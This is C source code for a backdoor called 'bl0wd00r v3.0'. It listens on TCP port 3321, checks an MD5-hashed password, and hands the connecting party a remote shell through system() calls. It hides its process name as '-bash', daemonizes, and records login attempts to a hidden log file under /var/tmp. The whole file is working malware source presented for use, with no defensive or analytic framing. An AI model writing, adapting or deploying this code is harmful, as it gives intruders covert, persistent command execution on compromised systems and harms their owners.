/***************************************************
 * bl0wd00r v3.0 coded by bl0w
 * www.secworld.org
 * 
 * removed bugs of version 2.0
 * thanks to sbox.
 *
 * greetz guy, exempt, storm, ntp, bonny
 * and all codelogic team members.
 ***************************************************/


#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <signal.h>

#define port  3321 // port to listen
#define term   "/bin/sh" // program to run
#define logs  "/var/tmp/.ogs" // dir of logs
#define pass  "9aa6e5f2256c17d2d430b100032b997c" // password encrypted with md5sum
#define proc  "-bash" // hidden syntax

#define B 1024

char a[36];

static void bala(const char *b, int dodnet2) { if (!strcmp(b, "exit")) { exit(0); } if (!strncmp(b, "cd ", 3)) { if (chdir(b +3) < 0) perror("chdir"); return ; } else { system(b); } }

// retirado da md5 -inicio
mdpass(char *aa)
{
  FILE *temp;
  char mps[1024];

  snprintf(mps, 1024, "/bin/echo -n %s|/usr/bin/md5sum", aa);
  temp = popen(mps, "r");
  memset(a, 0, 36);
  fread(a, 32, 1, temp);
  fclose(temp);
  return a;
}
// -fim

int main (int argc, char *argv[]) {

  int dodnet, dodnet2, size;
  struct sockaddr_in local;
  struct sockaddr_in remote;
  char cmd[256];

  strcpy (argv[0], proc);
  signal (SIGCHLD, SIG_IGN);

  bzero (&local, sizeof(local));
  local.sin_family = AF_INET;
  local.sin_port = htons (port);
  local.sin_addr.s_addr = INADDR_ANY;
  bzero (&(local.sin_zero), 8);

  if ((dodnet = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("socket"); exit(1); }
  if (bind (dodnet, (struct sockaddr *)&local, sizeof(struct sockaddr)) == -1) { perror("bind"); exit(1); }
  if (listen(dodnet, 5) == -1) { perror("listen"); exit(1); }

  size = sizeof(struct sockaddr_in);

  forkpid();

  while (1) {
    if ((dodnet2 = accept (dodnet, (struct sockaddr *)&remote, &size)) == -1) { perror ("accept"); exit(1); }
    if (!fork ()) {

      char check[15], username[15];
      int i;

      send (dodnet2, "username: ", sizeof("username: "), 0);
      recv (dodnet2, username, sizeof(username), 0);

      send (dodnet2, "password: ", sizeof("password: "), 0);
      recv (dodnet2, check, sizeof(check), 0);

      for (i = 0; i < strlen (check); i++) {
        if (check[i] == '\n' || check[i] == '\r') {
          check[i] = '\0';
        }
            }
      for (i = 0; i < strlen (username); i++) {
        if (username[i] == '\n' || username[i] == '\r') {
          username[i] = '\0';
        }
      }


      if (strncmp(mdpass(check), pass,32) != 0) { fuckoff(dodnet2, check, username); }
      else { getshell(dodnet2, username, dodnet); }
    }
    else { signal (SIGCHLD, SIG_IGN); close(dodnet2); }
  }
  close (dodnet2);
  exit(0);
}

forkpid() {
  int pid;
  signal(SIGCHLD,SIG_IGN);
  pid = fork();
  if(pid>0) {
    sleep(1);
    exit(EXIT_SUCCESS);
  }
  if(pid == 0) {
    signal(SIGCHLD,SIG_DFL);
    return getpid();
  }
  return -1;
}

fuckoff(int dodnet2, char *tentou, char *identifica) { 
  FILE *aa;
  char a[B];

  signal(SIGCHLD,SIG_IGN);

  aa=fopen(logs,"a+");
  snprintf(a, sizeof(a),"date>>%s",logs);
  system(a);

  fprintf(aa,"ident as:    %s",identifica);
  fprintf(aa,"\naction:      incorrect password\n");
  fprintf(aa,"password:    %s",tentou);
  fprintf(aa,"\n-----------------------\n");

  fclose(aa);
  close (dodnet2);
  exit(0);
}


getshell(int dodnet2, char *identifica) {
        FILE *aa;
        char a[B];
  char b[BUFSIZ];
  int i;

        aa=fopen(logs,"a+");
        snprintf(a,sizeof(a),"date>>%s",logs);
        system(a);

        fprintf(aa,"ident as:                %s",identifica);
        fprintf(aa,"\naction:      correct password");
        fprintf(aa,"\n-----------------------\n");

  send (dodnet2, "connected. U r logged", sizeof("connected. U r logged"), 0);
  send (dodnet2, "\nbash# ", sizeof("\nbash# "), 0);
        fclose(aa);

  close(0);
  close(1);
  close(2);

  dup2 (dodnet2, 0);
  dup2(dodnet2, 1);
  dup2(dodnet2, 2);


  for(;;) {
    printf("bash# ");

    fgets(b,256,stdin);

    for (i = 0; i < strlen (b); i++) {
                if (b[i] == '\n' || b[i] == '\r') {
      b[i] = '\0';
    }
    
    }
    bala(b,dodnet2);
    fflush(stdout);
  }
}